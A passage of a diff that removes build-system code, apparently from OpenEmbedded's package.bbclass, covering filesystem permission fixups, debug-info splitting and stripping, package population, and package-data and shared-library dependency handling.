- # if they are BOTH -1, don't bother to lchown
- if not (uid == -1 and gid == -1):
- #bb.note("Fixup Perms: lchown %d:%d %s" % (uid, gid, dir))
- os.lchown(path, uid, gid)
-
- # Return a list of configuration files based on either the default
- # files/fs-perms.txt or the contents of FILESYSTEM_PERMS_TABLES
- # paths are resolved via BBPATH
- def get_fs_perms_list(d):
- str = ""
- bbpath = d.getVar('BBPATH')
- fs_perms_tables = d.getVar('FILESYSTEM_PERMS_TABLES') or ""
- for conf_file in fs_perms_tables.split():
- confpath = bb.utils.which(bbpath, conf_file)
- if confpath:
- str += " %s" % bb.utils.which(bbpath, conf_file)
- else:
- bb.warn("cannot find %s specified in FILESYSTEM_PERMS_TABLES" % conf_file)
- return str
-
-
-
- dvar = d.getVar('PKGD')
-
- fs_perms_table = {}
- fs_link_table = {}
-
- # By default all of the standard directories specified in
- # bitbake.conf will get 0755 root:root.
- target_path_vars = [ 'base_prefix',
- 'prefix',
- 'exec_prefix',
- 'base_bindir',
- 'base_sbindir',
- 'base_libdir',
- 'datadir',
- 'sysconfdir',
- 'servicedir',
- 'sharedstatedir',
- 'localstatedir',
- 'infodir',
- 'mandir',
- 'docdir',
- 'bindir',
- 'sbindir',
- 'libexecdir',
- 'libdir',
- 'includedir',
- 'oldincludedir' ]
-
- for path in target_path_vars:
- dir = d.getVar(path) or ""
- if dir == "":
- continue
- fs_perms_table[dir] = fs_perms_entry(d.expand("%s 0755 root root false - - -" % (dir)))
-
- # Now we actually load from the configuration files
- for conf in get_fs_perms_list(d).split():
- if not os.path.exists(conf):
- continue
- with open(conf) as f:
- for line in f:
- if line.startswith('#'):
- continue
- lsplit = line.split()
- if len(lsplit) == 0:
- continue
- if len(lsplit) != 8 and not (len(lsplit) == 3 and lsplit[1].lower() == "link"):
- msg = "Fixup perms: %s invalid line: %s" % (conf, line)
- package_qa_handle_error("perm-line", msg, d)
- continue
- entry = fs_perms_entry(d.expand(line))
- if entry and entry.path:
- if entry.link:
- fs_link_table[entry.path] = entry
- if entry.path in fs_perms_table:
- fs_perms_table.pop(entry.path)
- else:
- fs_perms_table[entry.path] = entry
- if entry.path in fs_link_table:
- fs_link_table.pop(entry.path)
-
- # Debug -- list out in-memory table
- #for dir in fs_perms_table:
- # bb.note("Fixup Perms: %s: %s" % (dir, str(fs_perms_table[dir])))
- #for link in fs_link_table:
- # bb.note("Fixup Perms: %s: %s" % (link, str(fs_link_table[link])))
-
- # We process links first, so we can go back and fixup directory ownership
- # for any newly created directories
- # Process in sorted order so /run gets created before /run/lock, etc.
- for entry in sorted(fs_link_table.values(), key=lambda x: x.link):
- link = entry.link
- dir = entry.path
- origin = dvar + dir
- if not (cpath.exists(origin) and cpath.isdir(origin) and not cpath.islink(origin)):
- continue
-
- if link[0] == "/":
- target = dvar + link
- ptarget = link
- else:
- target = os.path.join(os.path.dirname(origin), link)
- ptarget = os.path.join(os.path.dirname(dir), link)
- if os.path.exists(target):
- msg = "Fixup Perms: Unable to correct directory link, target already exists: %s -> %s" % (dir, ptarget)
- package_qa_handle_error("perm-link", msg, d)
- continue
-
- # Create path to move directory to, move it, and then setup the symlink
- bb.utils.mkdirhier(os.path.dirname(target))
- #bb.note("Fixup Perms: Rename %s -> %s" % (dir, ptarget))
- os.rename(origin, target)
- #bb.note("Fixup Perms: Link %s -> %s" % (dir, link))
- os.symlink(link, origin)
-
- for dir in fs_perms_table:
- origin = dvar + dir
- if not (cpath.exists(origin) and cpath.isdir(origin)):
- continue
-
- fix_perms(origin, fs_perms_table[dir].mode, fs_perms_table[dir].uid, fs_perms_table[dir].gid, dir)
-
- if fs_perms_table[dir].walk == 'true':
- for root, dirs, files in os.walk(origin):
- for dr in dirs:
- each_dir = os.path.join(root, dr)
- fix_perms(each_dir, fs_perms_table[dir].mode, fs_perms_table[dir].uid, fs_perms_table[dir].gid, dir)
- for f in files:
- each_file = os.path.join(root, f)
- fix_perms(each_file, fs_perms_table[dir].fmode, fs_perms_table[dir].fuid, fs_perms_table[dir].fgid, dir)
-}
-
-python split_and_strip_files () {
- import stat, errno
- import subprocess
-
- dvar = d.getVar('PKGD')
- pn = d.getVar('PN')
- hostos = d.getVar('HOST_OS')
-
- oldcwd = os.getcwd()
- os.chdir(dvar)
-
- # We default to '.debug' style
- if d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-file-directory':
- # Single debug-file-directory style debug info
- debugappend = ".debug"
- debugstaticappend = ""
- debugdir = ""
- debugstaticdir = ""
- debuglibdir = "/usr/lib/debug"
- debugstaticlibdir = "/usr/lib/debug-static"
- debugsrcdir = "/usr/src/debug"
- elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-without-src':
- # Original OE-core, a.k.a. ".debug", style debug info, but without sources in /usr/src/debug
- debugappend = ""
- debugstaticappend = ""
- debugdir = "/.debug"
- debugstaticdir = "/.debug-static"
- debuglibdir = ""
- debugstaticlibdir = ""
- debugsrcdir = ""
- elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-with-srcpkg':
- debugappend = ""
- debugstaticappend = ""
- debugdir = "/.debug"
- debugstaticdir = "/.debug-static"
- debuglibdir = ""
- debugstaticlibdir = ""
- debugsrcdir = "/usr/src/debug"
- else:
- # Original OE-core, a.k.a. ".debug", style debug info
- debugappend = ""
- debugstaticappend = ""
- debugdir = "/.debug"
- debugstaticdir = "/.debug-static"
- debuglibdir = ""
- debugstaticlibdir = ""
- debugsrcdir = "/usr/src/debug"
-
- #
- # First lets figure out all of the files we may have to process ... do this only once!
- #
- elffiles = {}
- symlinks = {}
- kernmods = []
- staticlibs = []
- inodes = {}
- libdir = os.path.abspath(dvar + os.sep + d.getVar("libdir"))
- baselibdir = os.path.abspath(dvar + os.sep + d.getVar("base_libdir"))
- skipfiles = (d.getVar("INHIBIT_PACKAGE_STRIP_FILES") or "").split()
- if (d.getVar('INHIBIT_PACKAGE_STRIP') != '1' or \
- d.getVar('INHIBIT_PACKAGE_DEBUG_SPLIT') != '1'):
- checkelf = {}
- checkelflinks = {}
- for root, dirs, files in cpath.walk(dvar):
- for f in files:
- file = os.path.join(root, f)
-
- # Skip debug files
- if debugappend and file.endswith(debugappend):
- continue
- if debugdir and debugdir in os.path.dirname(file[len(dvar):]):
- continue
-
- if file in skipfiles:
- continue
-
- if file.endswith(".ko") and file.find("/lib/modules/") != -1:
- kernmods.append(file)
- continue
- if oe.package.is_static_lib(file):
- staticlibs.append(file)
- continue
-
- try:
- ltarget = cpath.realpath(file, dvar, False)
- s = cpath.lstat(ltarget)
- except OSError as e:
- (err, strerror) = e.args
- if err != errno.ENOENT:
- raise
- # Skip broken symlinks
- continue
- if not s:
- continue
- # Check its an executable
- if (s[stat.ST_MODE] & stat.S_IXUSR) or (s[stat.ST_MODE] & stat.S_IXGRP) or (s[stat.ST_MODE] & stat.S_IXOTH) \
- or ((file.startswith(libdir) or file.startswith(baselibdir)) and (".so" in f or ".node" in f)):
-
- if cpath.islink(file):
- checkelflinks[file] = ltarget
- continue
- # Use a reference of device ID and inode number to identify files
- file_reference = "%d_%d" % (s.st_dev, s.st_ino)
- checkelf[file] = (file, file_reference)
-
- results = oe.utils.multiprocess_launch(oe.package.is_elf, checkelflinks.values(), d)
- results_map = {}
- for (ltarget, elf_file) in results:
- results_map[ltarget] = elf_file
- for file in checkelflinks:
- ltarget = checkelflinks[file]
- # If it's a symlink, and points to an ELF file, we capture the readlink target
- if results_map[ltarget]:
- target = os.readlink(file)
- #bb.note("Sym: %s (%d)" % (ltarget, results_map[ltarget]))
- symlinks[file] = target
-
- results = oe.utils.multiprocess_launch(oe.package.is_elf, checkelf.keys(), d)
-
- # Sort results by file path. This ensures that the files are always
- # processed in the same order, which is important to make sure builds
- # are reproducible when dealing with hardlinks
- results.sort(key=lambda x: x[0])
-
- for (file, elf_file) in results:
- # It's a file (or hardlink), not a link
- # ...but is it ELF, and is it already stripped?
- if elf_file & 1:
- if elf_file & 2:
- if 'already-stripped' in (d.getVar('INSANE_SKIP_' + pn) or "").split():
- bb.note("Skipping file %s from %s for already-stripped QA test" % (file[len(dvar):], pn))
- else:
- msg = "File '%s' from %s was already stripped, this will prevent future debugging!" % (file[len(dvar):], pn)
- package_qa_handle_error("already-stripped", msg, d)
- continue
-
- # At this point we have an unstripped elf file. We need to:
- # a) Make sure any file we strip is not hardlinked to anything else outside this tree
- # b) Only strip any hardlinked file once (no races)
- # c) Track any hardlinks between files so that we can reconstruct matching debug file hardlinks
-
- # Use a reference of device ID and inode number to identify files
- file_reference = checkelf[file][1]
- if file_reference in inodes:
- os.unlink(file)
- os.link(inodes[file_reference][0], file)
- inodes[file_reference].append(file)
- else:
- inodes[file_reference] = [file]
- # break hardlink
- bb.utils.break_hardlinks(file)
- elffiles[file] = elf_file
- # Modified the file so clear the cache
- cpath.updatecache(file)
-
- #
- # First lets process debug splitting
- #
- if (d.getVar('INHIBIT_PACKAGE_DEBUG_SPLIT') != '1'):
- results = oe.utils.multiprocess_launch(splitdebuginfo, list(elffiles), d, extraargs=(dvar, debugdir, debuglibdir, debugappend, debugsrcdir, d))
-
- if debugsrcdir and not hostos.startswith("mingw"):
- if (d.getVar('PACKAGE_DEBUG_STATIC_SPLIT') == '1'):
- results = oe.utils.multiprocess_launch(splitstaticdebuginfo, staticlibs, d, extraargs=(dvar, debugstaticdir, debugstaticlibdir, debugstaticappend, debugsrcdir, d))
- else:
- for file in staticlibs:
- results.append( (file,source_info(file, d)) )
-
- sources = set()
- for r in results:
- sources.update(r[1])
-
- # Hardlink our debug symbols to the other hardlink copies
- for ref in inodes:
- if len(inodes[ref]) == 1:
- continue
-
- target = inodes[ref][0][len(dvar):]
- for file in inodes[ref][1:]:
- src = file[len(dvar):]
- dest = debuglibdir + os.path.dirname(src) + debugdir + "/" + os.path.basename(target) + debugappend
- fpath = dvar + dest
- ftarget = dvar + debuglibdir + os.path.dirname(target) + debugdir + "/" + os.path.basename(target) + debugappend
- bb.utils.mkdirhier(os.path.dirname(fpath))
- # Only one hardlink of separated debug info file in each directory
- if not os.access(fpath, os.R_OK):
- #bb.note("Link %s -> %s" % (fpath, ftarget))
- os.link(ftarget, fpath)
-
- # Create symlinks for all cases we were able to split symbols
- for file in symlinks:
- src = file[len(dvar):]
- dest = debuglibdir + os.path.dirname(src) + debugdir + "/" + os.path.basename(src) + debugappend
- fpath = dvar + dest
- # Skip it if the target doesn't exist
- try:
- s = os.stat(fpath)
- except OSError as e:
- (err, strerror) = e.args
- if err != errno.ENOENT:
- raise
- continue
-
- ltarget = symlinks[file]
- lpath = os.path.dirname(ltarget)
- lbase = os.path.basename(ltarget)
- ftarget = ""
- if lpath and lpath != ".":
- ftarget += lpath + debugdir + "/"
- ftarget += lbase + debugappend
- if lpath.startswith(".."):
- ftarget = os.path.join("..", ftarget)
- bb.utils.mkdirhier(os.path.dirname(fpath))
- #bb.note("Symlink %s -> %s" % (fpath, ftarget))
- os.symlink(ftarget, fpath)
-
- # Process the debugsrcdir if requested...
- # This copies and places the referenced sources for later debugging...
- copydebugsources(debugsrcdir, sources, d)
- #
- # End of debug splitting
- #
-
- #
- # Now lets go back over things and strip them
- #
- if (d.getVar('INHIBIT_PACKAGE_STRIP') != '1'):
- strip = d.getVar("STRIP")
- sfiles = []
- for file in elffiles:
- elf_file = int(elffiles[file])
- #bb.note("Strip %s" % file)
- sfiles.append((file, elf_file, strip))
- for f in kernmods:
- sfiles.append((f, 16, strip))
- if (d.getVar('PACKAGE_STRIP_STATIC') == '1' or d.getVar('PACKAGE_DEBUG_STATIC_SPLIT') == '1'):
- for f in staticlibs:
- sfiles.append((f, 16, strip))
-
- oe.utils.multiprocess_launch(oe.package.runstrip, sfiles, d)
-
- # Build "minidebuginfo" and reinject it back into the stripped binaries
- if d.getVar('PACKAGE_MINIDEBUGINFO') == '1':
- oe.utils.multiprocess_launch(inject_minidebuginfo, list(elffiles), d,
- extraargs=(dvar, debugdir, debuglibdir, debugappend, debugsrcdir, d))
-
- #
- # End of strip
- #
- os.chdir(oldcwd)
-}
-
-python populate_packages () {
- import glob, re
-
- workdir = d.getVar('WORKDIR')
- outdir = d.getVar('DEPLOY_DIR')
- dvar = d.getVar('PKGD')
- packages = d.getVar('PACKAGES').split()
- pn = d.getVar('PN')
-
- bb.utils.mkdirhier(outdir)
- os.chdir(dvar)
-
- autodebug = not (d.getVar("NOAUTOPACKAGEDEBUG") or False)
-
- split_source_package = (d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-with-srcpkg')
-
- # If debug-with-srcpkg mode is enabled then add the source package if it
- # doesn't exist and add the source file contents to the source package.
- if split_source_package:
- src_package_name = ('%s-src' % d.getVar('PN'))
- if not src_package_name in packages:
- packages.append(src_package_name)
- d.setVar('FILES_%s' % src_package_name, '/usr/src/debug')
-
- # Sanity check PACKAGES for duplicates
- # Sanity should be moved to sanity.bbclass once we have the infrastructure
- package_dict = {}
-
- for i, pkg in enumerate(packages):
- if pkg in package_dict:
- msg = "%s is listed in PACKAGES multiple times, this leads to packaging errors." % pkg
- package_qa_handle_error("packages-list", msg, d)
- # Ensure the source package gets the chance to pick up the source files
- # before the debug package by ordering it first in PACKAGES. Whether it
- # actually picks up any source files is controlled by
- # PACKAGE_DEBUG_SPLIT_STYLE.
- elif pkg.endswith("-src"):
- package_dict[pkg] = (10, i)
- elif autodebug and pkg.endswith("-dbg"):
- package_dict[pkg] = (30, i)
- else:
- package_dict[pkg] = (50, i)
- packages = sorted(package_dict.keys(), key=package_dict.get)
- d.setVar('PACKAGES', ' '.join(packages))
- pkgdest = d.getVar('PKGDEST')
-
- seen = []
-
- # os.mkdir masks the permissions with umask so we have to unset it first
- oldumask = os.umask(0)
-
- debug = []
- for root, dirs, files in cpath.walk(dvar):
- dir = root[len(dvar):]
- if not dir:
- dir = os.sep
- for f in (files + dirs):
- path = "." + os.path.join(dir, f)
- if "/.debug/" in path or "/.debug-static/" in path or path.endswith("/.debug"):
- debug.append(path)
-
- for pkg in packages:
- root = os.path.join(pkgdest, pkg)
- bb.utils.mkdirhier(root)
-
- filesvar = d.getVar('FILES_%s' % pkg) or ""
- if "//" in filesvar:
- msg = "FILES variable for package %s contains '//' which is invalid. Attempting to fix this but you should correct the metadata.\n" % pkg
- package_qa_handle_error("files-invalid", msg, d)
- filesvar.replace("//", "/")
-
- origfiles = filesvar.split()
- files, symlink_paths = files_from_filevars(origfiles)
-
- if autodebug and pkg.endswith("-dbg"):
- files.extend(debug)
-
- for file in files:
- if (not cpath.islink(file)) and (not cpath.exists(file)):
- continue
- if file in seen:
- continue
- seen.append(file)
-
- def mkdir(src, dest, p):
- src = os.path.join(src, p)
- dest = os.path.join(dest, p)
- fstat = cpath.stat(src)
- os.mkdir(dest)
- os.chmod(dest, fstat.st_mode)
- os.chown(dest, fstat.st_uid, fstat.st_gid)
- if p not in seen:
- seen.append(p)
- cpath.updatecache(dest)
-
- def mkdir_recurse(src, dest, paths):
- if cpath.exists(dest + '/' + paths):
- return
- while paths.startswith("./"):
- paths = paths[2:]
- p = "."
- for c in paths.split("/"):
- p = os.path.join(p, c)
- if not cpath.exists(os.path.join(dest, p)):
- mkdir(src, dest, p)
-
- if cpath.isdir(file) and not cpath.islink(file):
- mkdir_recurse(dvar, root, file)
- continue
-
- mkdir_recurse(dvar, root, os.path.dirname(file))
- fpath = os.path.join(root,file)
- if not cpath.islink(file):
- os.link(file, fpath)
- continue
- ret = bb.utils.copyfile(file, fpath)
- if ret is False or ret == 0:
- bb.fatal("File population failed")
-
- # Check if symlink paths exist
- for file in symlink_paths:
- if not os.path.exists(os.path.join(root,file)):
- bb.fatal("File '%s' cannot be packaged into '%s' because its "
- "parent directory structure does not exist. One of "
- "its parent directories is a symlink whose target "
- "directory is not included in the package." %
- (file, pkg))
-
- os.umask(oldumask)
- os.chdir(workdir)
-
- # Handle LICENSE_EXCLUSION
- package_list = []
- for pkg in packages:
- licenses = d.getVar('LICENSE_EXCLUSION-' + pkg)
- if licenses:
- msg = "Excluding %s from packaging as it has incompatible license(s): %s" % (pkg, licenses)
- package_qa_handle_error("incompatible-license", msg, d)
- else:
- package_list.append(pkg)
- d.setVar('PACKAGES', ' '.join(package_list))
-
- unshipped = []
- for root, dirs, files in cpath.walk(dvar):
- dir = root[len(dvar):]
- if not dir:
- dir = os.sep
- for f in (files + dirs):
- path = os.path.join(dir, f)
- if ('.' + path) not in seen:
- unshipped.append(path)
-
- if unshipped != []:
- msg = pn + ": Files/directories were installed but not shipped in any package:"
- if "installed-vs-shipped" in (d.getVar('INSANE_SKIP_' + pn) or "").split():
- bb.note("Package %s skipping QA tests: installed-vs-shipped" % pn)
- else:
- for f in unshipped:
- msg = msg + "\n " + f
- msg = msg + "\nPlease set FILES such that these items are packaged. Alternatively if they are unneeded, avoid installing them or delete them within do_install.\n"
- msg = msg + "%s: %d installed and not shipped files." % (pn, len(unshipped))
- package_qa_handle_error("installed-vs-shipped", msg, d)
-}
-populate_packages[dirs] = "${D}"
-
-python package_fixsymlinks () {
- import errno
- pkgdest = d.getVar('PKGDEST')
- packages = d.getVar("PACKAGES", False).split()
-
- dangling_links = {}
- pkg_files = {}
- for pkg in packages:
- dangling_links[pkg] = []
- pkg_files[pkg] = []
- inst_root = os.path.join(pkgdest, pkg)
- for path in pkgfiles[pkg]:
- rpath = path[len(inst_root):]
- pkg_files[pkg].append(rpath)
- rtarget = cpath.realpath(path, inst_root, True, assume_dir = True)
- if not cpath.lexists(rtarget):
- dangling_links[pkg].append(os.path.normpath(rtarget[len(inst_root):]))
-
- newrdepends = {}
- for pkg in dangling_links:
- for l in dangling_links[pkg]:
- found = False
- bb.debug(1, "%s contains dangling link %s" % (pkg, l))
- for p in packages:
- if l in pkg_files[p]:
- found = True
- bb.debug(1, "target found in %s" % p)
- if p == pkg:
- break
- if pkg not in newrdepends:
- newrdepends[pkg] = []
- newrdepends[pkg].append(p)
- break
- if found == False:
- bb.note("%s contains dangling symlink to %s" % (pkg, l))
-
- for pkg in newrdepends:
- rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS_' + pkg) or "")
- for p in newrdepends[pkg]:
- if p not in rdepends:
- rdepends[p] = []
- d.setVar('RDEPENDS_' + pkg, bb.utils.join_deps(rdepends, commasep=False))
-}
-
-
-python package_package_name_hook() {
- """
- A package_name_hook function can be used to rewrite the package names by
- changing PKG. For an example, see debian.bbclass.
- """
- pass
-}
-
-EXPORT_FUNCTIONS package_name_hook
-
-
-PKGDESTWORK = "${WORKDIR}/pkgdata"
-
-PKGDATA_VARS = "PN PE PV PR PKGE PKGV PKGR LICENSE DESCRIPTION SUMMARY RDEPENDS RPROVIDES RRECOMMENDS RSUGGESTS RREPLACES RCONFLICTS SECTION PKG ALLOW_EMPTY FILES CONFFILES FILES_INFO PACKAGE_ADD_METADATA pkg_postinst pkg_postrm pkg_preinst pkg_prerm"
-
-python emit_pkgdata() {
- from glob import glob
- import json
-
- def process_postinst_on_target(pkg, mlprefix):
- pkgval = d.getVar('PKG_%s' % pkg)
- if pkgval is None:
- pkgval = pkg
-
- defer_fragment = """
-if [ -n "$D" ]; then
- $INTERCEPT_DIR/postinst_intercept delay_to_first_boot %s mlprefix=%s
- exit 0
-fi
-""" % (pkgval, mlprefix)
-
- postinst = d.getVar('pkg_postinst_%s' % pkg)
- postinst_ontarget = d.getVar('pkg_postinst_ontarget_%s' % pkg)
-
- if postinst_ontarget:
- bb.debug(1, 'adding deferred pkg_postinst_ontarget() to pkg_postinst() for %s' % pkg)
- if not postinst:
- postinst = '#!/bin/sh\n'
- postinst += defer_fragment
- postinst += postinst_ontarget
- d.setVar('pkg_postinst_%s' % pkg, postinst)
-
- def add_set_e_to_scriptlets(pkg):
- for scriptlet_name in ('pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm'):
- scriptlet = d.getVar('%s_%s' % (scriptlet_name, pkg))
- if scriptlet:
- scriptlet_split = scriptlet.split('\n')
- if scriptlet_split[0].startswith("#!"):
- scriptlet = scriptlet_split[0] + "\nset -e\n" + "\n".join(scriptlet_split[1:])
- else:
- scriptlet = "set -e\n" + "\n".join(scriptlet_split[0:])
- d.setVar('%s_%s' % (scriptlet_name, pkg), scriptlet)
-
- def write_if_exists(f, pkg, var):
- def encode(str):
- import codecs
- c = codecs.getencoder("unicode_escape")
- return c(str)[0].decode("latin1")
-
- val = d.getVar('%s_%s' % (var, pkg))
- if val:
- f.write('%s_%s: %s\n' % (var, pkg, encode(val)))
- return val
- val = d.getVar('%s' % (var))
- if val:
- f.write('%s: %s\n' % (var, encode(val)))
- return val
-
- def write_extra_pkgs(variants, pn, packages, pkgdatadir):
- for variant in variants:
- with open("%s/%s-%s" % (pkgdatadir, variant, pn), 'w') as fd:
- fd.write("PACKAGES: %s\n" % ' '.join(
- map(lambda pkg: '%s-%s' % (variant, pkg), packages.split())))
-
- def write_extra_runtime_pkgs(variants, packages, pkgdatadir):
- for variant in variants:
- for pkg in packages.split():
- ml_pkg = "%s-%s" % (variant, pkg)
- subdata_file = "%s/runtime/%s" % (pkgdatadir, ml_pkg)
- with open(subdata_file, 'w') as fd:
- fd.write("PKG_%s: %s" % (ml_pkg, pkg))
-
- packages = d.getVar('PACKAGES')
- pkgdest = d.getVar('PKGDEST')
- pkgdatadir = d.getVar('PKGDESTWORK')
-
- data_file = pkgdatadir + d.expand("/${PN}")
- with open(data_file, 'w') as fd:
- fd.write("PACKAGES: %s\n" % packages)
-
- pn = d.getVar('PN')
- global_variants = (d.getVar('MULTILIB_GLOBAL_VARIANTS') or "").split()
- variants = (d.getVar('MULTILIB_VARIANTS') or "").split()
-
- if bb.data.inherits_class('kernel', d) or bb.data.inherits_class('module-base', d):
- write_extra_pkgs(variants, pn, packages, pkgdatadir)
-
- if bb.data.inherits_class('allarch', d) and not variants \
- and not bb.data.inherits_class('packagegroup', d):
- write_extra_pkgs(global_variants, pn, packages, pkgdatadir)
-
- workdir = d.getVar('WORKDIR')
-
- for pkg in packages.split():
- pkgval = d.getVar('PKG_%s' % pkg)
- if pkgval is None:
- pkgval = pkg
- d.setVar('PKG_%s' % pkg, pkg)
-
- pkgdestpkg = os.path.join(pkgdest, pkg)
- files = {}
- total_size = 0
- seen = set()
- for f in pkgfiles[pkg]:
- relpth = os.path.relpath(f, pkgdestpkg)
- fstat = os.lstat(f)
- files[os.sep + relpth] = fstat.st_size
- if fstat.st_ino not in seen:
- seen.add(fstat.st_ino)
- total_size += fstat.st_size
- d.setVar('FILES_INFO', json.dumps(files, sort_keys=True))
-
- process_postinst_on_target(pkg, d.getVar("MLPREFIX"))
- add_set_e_to_scriptlets(pkg)
-
- subdata_file = pkgdatadir + "/runtime/%s" % pkg
- with open(subdata_file, 'w') as sf:
- for var in (d.getVar('PKGDATA_VARS') or "").split():
- val = write_if_exists(sf, pkg, var)
-
- write_if_exists(sf, pkg, 'FILERPROVIDESFLIST')
- for dfile in (d.getVar('FILERPROVIDESFLIST_' + pkg) or "").split():
- write_if_exists(sf, pkg, 'FILERPROVIDES_' + dfile)
-
- write_if_exists(sf, pkg, 'FILERDEPENDSFLIST')
- for dfile in (d.getVar('FILERDEPENDSFLIST_' + pkg) or "").split():
- write_if_exists(sf, pkg, 'FILERDEPENDS_' + dfile)
-
- sf.write('%s_%s: %d\n' % ('PKGSIZE', pkg, total_size))
-
- # Symlinks needed for rprovides lookup
- rprov = d.getVar('RPROVIDES_%s' % pkg) or d.getVar('RPROVIDES')
- if rprov:
- for p in rprov.strip().split():
- subdata_sym = pkgdatadir + "/runtime-rprovides/%s/%s" % (p, pkg)
- bb.utils.mkdirhier(os.path.dirname(subdata_sym))
- oe.path.symlink("../../runtime/%s" % pkg, subdata_sym, True)
-
- allow_empty = d.getVar('ALLOW_EMPTY_%s' % pkg)
- if not allow_empty:
- allow_empty = d.getVar('ALLOW_EMPTY')
- root = "%s/%s" % (pkgdest, pkg)
- os.chdir(root)
- g = glob('*')
- if g or allow_empty == "1":
- # Symlinks needed for reverse lookups (from the final package name)
- subdata_sym = pkgdatadir + "/runtime-reverse/%s" % pkgval
- oe.path.symlink("../runtime/%s" % pkg, subdata_sym, True)
-
- packagedfile = pkgdatadir + '/runtime/%s.packaged' % pkg
- open(packagedfile, 'w').close()
-
- if bb.data.inherits_class('kernel', d) or bb.data.inherits_class('module-base', d):
- write_extra_runtime_pkgs(variants, packages, pkgdatadir)
-
- if bb.data.inherits_class('allarch', d) and not variants \
- and not bb.data.inherits_class('packagegroup', d):
- write_extra_runtime_pkgs(global_variants, packages, pkgdatadir)
-
-}
-emit_pkgdata[dirs] = "${PKGDESTWORK}/runtime ${PKGDESTWORK}/runtime-reverse ${PKGDESTWORK}/runtime-rprovides"
-
-ldconfig_postinst_fragment() {
-if [ x"$D" = "x" ]; then
- if [ -x /sbin/ldconfig ]; then /sbin/ldconfig ; fi
-fi
-}
-
-RPMDEPS = "${STAGING_LIBDIR_NATIVE}/rpm/rpmdeps --alldeps"
-
-# Collect perfile run-time dependency metadata
-# Output:
-# FILERPROVIDESFLIST_pkg - list of all files w/ deps
-# FILERPROVIDES_filepath_pkg - per file dep
-#
-# FILERDEPENDSFLIST_pkg - list of all files w/ deps
-# FILERDEPENDS_filepath_pkg - per file dep
-
-python package_do_filedeps() {
- if d.getVar('SKIP_FILEDEPS') == '1':
- return
-
- pkgdest = d.getVar('PKGDEST')
- packages = d.getVar('PACKAGES')
- rpmdeps = d.getVar('RPMDEPS')
-
- def chunks(files, n):
- return [files[i:i+n] for i in range(0, len(files), n)]
-
- pkglist = []
- for pkg in packages.split():
- if d.getVar('SKIP_FILEDEPS_' + pkg) == '1':
- continue
- if pkg.endswith('-dbg') or pkg.endswith('-doc') or pkg.find('-locale-') != -1 or pkg.find('-localedata-') != -1 or pkg.find('-gconv-') != -1 or pkg.find('-charmap-') != -1 or pkg.startswith('kernel-module-') or pkg.endswith('-src'):
- continue
- for files in chunks(pkgfiles[pkg], 100):
- pkglist.append((pkg, files, rpmdeps, pkgdest))
-
- processed = oe.utils.multiprocess_launch(oe.package.filedeprunner, pkglist, d)
-
- provides_files = {}
- requires_files = {}
-
- for result in processed:
- (pkg, provides, requires) = result
-
- if pkg not in provides_files:
- provides_files[pkg] = []
- if pkg not in requires_files:
- requires_files[pkg] = []
-
- for file in sorted(provides):
- provides_files[pkg].append(file)
- key = "FILERPROVIDES_" + file + "_" + pkg
- d.appendVar(key, " " + " ".join(provides[file]))
-
- for file in sorted(requires):
- requires_files[pkg].append(file)
- key = "FILERDEPENDS_" + file + "_" + pkg
- d.appendVar(key, " " + " ".join(requires[file]))
-
- for pkg in requires_files:
- d.setVar("FILERDEPENDSFLIST_" + pkg, " ".join(requires_files[pkg]))
- for pkg in provides_files:
- d.setVar("FILERPROVIDESFLIST_" + pkg, " ".join(provides_files[pkg]))
-}
-
-SHLIBSDIRS = "${WORKDIR_PKGDATA}/${MLPREFIX}shlibs2"
-SHLIBSWORKDIR = "${PKGDESTWORK}/${MLPREFIX}shlibs2"
-
-python package_do_shlibs() {
- import itertools
- import re, pipes
- import subprocess
-
- exclude_shlibs = d.getVar('EXCLUDE_FROM_SHLIBS', False)
- if exclude_shlibs:
- bb.note("not generating shlibs")
- return
-
- lib_re = re.compile(r"^.*\.so")
- libdir_re = re.compile(r".*/%s$" % d.getVar('baselib'))
-
- packages = d.getVar('PACKAGES')
-
- shlib_pkgs = []
- exclusion_list = d.getVar("EXCLUDE_PACKAGES_FROM_SHLIBS")
- if exclusion_list:
- for pkg in packages.split():
- if pkg not in exclusion_list.split():
- shlib_pkgs.append(pkg)
- else:
- bb.note("not generating shlibs for %s" % pkg)
- else:
- shlib_pkgs = packages.split()
-
- hostos = d.getVar('HOST_OS')
-
- workdir = d.getVar('WORKDIR')
-
- ver = d.getVar('PKGV')
- if not ver:
- msg = "PKGV not defined"
- package_qa_handle_error("pkgv-undefined", msg, d)
- return
-
- pkgdest = d.getVar('PKGDEST')
-
- shlibswork_dir = d.getVar('SHLIBSWORKDIR')
-
- def linux_so(file, pkg, pkgver, d):
- needs_ldconfig = False
- needed = set()
- sonames = set()
- renames = []
- ldir = os.path.dirname(file).replace(pkgdest + "/" + pkg, '')
- cmd = d.getVar('OBJDUMP') + " -p " + pipes.quote(file) + " 2>/dev/null"
- fd = os.popen(cmd)
- lines = fd.readlines()
- fd.close()
- rpath = tuple()
- for l in lines:
- m = re.match(r"\s+RPATH\s+([^\s]*)", l)
- if m:
- rpaths = m.group(1).replace("$ORIGIN", ldir).split(":")
- rpath = tuple(map(os.path.normpath, rpaths))
- for l in lines:
- m = re.match(r"\s+NEEDED\s+([^\s]*)", l)
- if m:
- dep = m.group(1)
- if dep not in needed:
- needed.add((dep, file, rpath))
- m = re.match(r"\s+SONAME\s+([^\s]*)", l)
- if m:
- this_soname = m.group(1)
- prov = (this_soname, ldir, pkgver)
- if not prov in sonames:
- # if library is private (only used by package) then do not build shlib for it
- import fnmatch
- if not private_libs or len([i for i in private_libs if fnmatch.fnmatch(this_soname, i)]) == 0:
- sonames.add(prov)
- if libdir_re.match(os.path.dirname(file)):
- needs_ldconfig = True
- if snap_symlinks and (os.path.basename(file) != this_soname):
- renames.append((file, os.path.join(os.path.dirname(file), this_soname)))
- return (needs_ldconfig, needed, sonames, renames)
-
- def darwin_so(file, needed, sonames, renames, pkgver):
- if not os.path.exists(file):
- return
- ldir = os.path.dirname(file).replace(pkgdest + "/" + pkg, '')
-
- def get_combinations(base):
- #
- # Given a base library name, find all combinations of this split by "." and "-"
- #
- combos = []
- options = base.split(".")
- for i in range(1, len(options) + 1):
- combos.append(".".join(options[0:i]))
- options = base.split("-")
- for i in range(1, len(options) + 1):
